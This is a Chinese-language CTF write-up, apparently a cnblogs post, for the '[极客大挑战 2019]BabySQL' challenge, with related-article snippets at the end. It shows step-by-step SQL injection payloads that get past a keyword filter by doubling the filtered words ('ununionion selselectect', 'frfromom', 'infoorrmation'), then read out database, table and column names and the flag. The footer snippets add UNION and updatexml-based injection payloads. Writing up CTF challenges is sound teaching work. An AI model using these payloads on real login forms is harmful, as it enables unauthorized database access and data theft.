首页 > 数据库 >[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

时间:2024-07-29 17:41:12浏览次数:15  
标签:极客 assets BabySQL image 2019 png

[极客大挑战 2019]BabySQL

首先映入眼帘的是一个非常经典的登录界面

![ctf]([极客大挑战 2019]BabySQL.assets/ctf.png)

我们先尝试判断一下这是什么注入点

输入个1'看看怎么个事

![image-20240729142647221]([极客大挑战 2019]BabySQL.assets/image-20240729142647221.png)

发现输入的1'被双引号包裹,再次输入1" 显示密码不匹配,输入1' or 1=1--+万能密码试试

![]([极客大挑战 2019]BabySQL.assets/image-20240729150320718.png)

这里应该是过滤了or 和+,用空格代替+尝试下大小写绕过不行,最后发现可以双写or绕过得到

1' oorr 1=1 -- ,这里意外的登录成功了

![]([极客大挑战 2019]BabySQL.assets/image-20240729150655552.png)

赶紧拿去试试看看是不是flag,结果也是不出意料的错了。还是老老实实回来注入,先判断字段数

1' oorrder by 3 -- ,又又又报错了

![]([极客大挑战 2019]BabySQL.assets/image-20240729151043218.png)

这里我怀疑又被过滤了,尝试看看是不是by过滤构造payload:1' oorrder bbyy 3 --

可以了没有报错

![]([极客大挑战 2019]BabySQL.assets/image-20240729151241346.png)

把3改成4发现提示字段数不一样,确定字段数为3,接下来就是枯燥无味的注入构造payload:

1' and union select 1,2,database() --

真服了这个老六,又报错了,一看又是过滤了union和select,

![]([极客大挑战 2019]BabySQL.assets/image-20240729151608014.png)继续双写绕过

1' and ununionion selselectect 1,2,database() --

![]([极客大挑战 2019]BabySQL.assets/image-20240729151835121.png)

得到库名,

接着看看所有的库名看看有没有什么需要的信息

1' and ununionion selselectect 1,2,group_concat(schema_name) from information_schema.schemata --

![]([极客大挑战 2019]BabySQL.assets/image-20240729152517763.png)

很显然,又被过滤了,继续双写,发现只有from被过滤了,information是因为含有or被过滤的。

于是构造payload:

1' and ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata --

![]([极客大挑战 2019]BabySQL.assets/image-20240729152729586.png)

这里能够发现一个特殊的库ctf,于是根据这个库爆表名

1' and ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='ctf'--

![]([极客大挑战 2019]BabySQL.assets/image-20240729152959111.png)

这里where被过滤了,继续双写

1' and ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'--

![]([极客大挑战 2019]BabySQL.assets/image-20240729153151545.png)

得到了Flag表,继续爆列名

1' and ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'--

得到一个flag字段

![]([极客大挑战 2019]BabySQL.assets/image-20240729153412570.png)

获取信息

1' and ununionion selselectect 1,2,flag frfromom ctf.Flag--

![]([极客大挑战 2019]BabySQL.assets/image-20240729153800820.png)

得到flag。

总结:这个题过滤了非常多的关键字,需要掌握好过滤方法,不然真的会被搞崩溃。

标签:极客,assets,BabySQL,image,2019,png
From: https://www.cnblogs.com/wzffzw/p/18330650

相关文章

  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli非常神奇的一道题,漏洞利用点在于联合查询时如果数据不存在,则会创建一个临时虚拟用户于是当前尝试username=admin,返回wrongpass则该用户名存在所以username:1'unionselect1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面我们先尝试判断一下这是什么注入点输入个1'看看怎么个事发现输入的1'被双引号包裹,再次输入1"显示密码不匹配,输入1'or1=1--+万能密码试试这里应该是过滤了or和+,用空格代替+尝试下大小写绕过不行,最后发......
  • [SUCTF 2019]CheckIn
    [SUCTF2019]CheckInStep发现上传文件试验后,Yourdiruploads/40faad96d40fbac7603474024cbb933aYourfiles:array(5){[0]=>string(1)"."[1]=>string(2)".."[2]=>string(9)".user.ini"[3]=>string(5)"1.jpg"......
  • [极客大挑战 2019]BabySQL
    [极客大挑战2019]BabySQL首先映入眼帘的是一个非常经典的登录界面我们先尝试判断一下这是什么注入点输入个1'看看怎么个事发现输入的1'被双引号包裹,再次输入1"显示密码不匹配,输入1'or1=1--+万能密码试试这里应该是过滤了or和+,用空格代替+尝试下大小写绕过不行,最后发......
  • [极客大挑战 2019]HardSQL
    [极客大挑战2019]HardSQLStep尝试报错注入库名'or(updatexml(1,concat(0x7e,database()),0x7e))#表名'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),0))#列名'or(updatexml(1,co......
  • BUUCTF 6.[第五空间2019 决赛]PWN5 1
    拿到题目,先运行一下很明显地出现了一个重复我们的输入,以及一个判断的过程,那么我们可以猜测可能会有栈溢出漏洞,让我们继续保护是开了一个canary以及nx,大概率就不是栈溢出漏洞了,因为canary的存在会使栈溢出非常麻烦。我们看一下IDA存在栈溢出漏洞,但是由于长度不够,我们无法......
  • BUUCTF 4.ciscn_2019_n_1
    拿到题目首先先运行程序我们发现给了我们一个数字,我们猜测应该是一个条件判断的程序,然后我们检查一下保护机制我们发现只开了NX(不可执行)保护,那我们直接看IDA就行了。main函数只是设定了无缓冲模式,以及调用了一个func函数,然后我们看一下我们可以看到gets和我们想要的flag,......
  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWeiStep1开靶机,获得php源码<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf......
  • sqlserver2019--订阅发布
    一、连接数据库 1.查看sqlserver主机名称 2.通过SSMS工具连接sqlserver 二、发布1.复制--本地发布---右击选择新建发布 2.启动代理服务,为了防止自动启动失败,可以选择手动启动,然后去sqlserver服务器启动此服务 3.选择快照文件夹,如果是跨机器,需要共享文件夹(本次......
  • VP CSP-J2019 江西
    不是很理解为什么江西CSP单列一年,题目难度吊打CSP-J2024T1P5681[CSP-J2019江西]面积签到题,但需要注意面积相等情况#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;lla,b,c;intmain(){ cin>>a>>b>>c; if(a*a>b*c){ cout<<"Alice......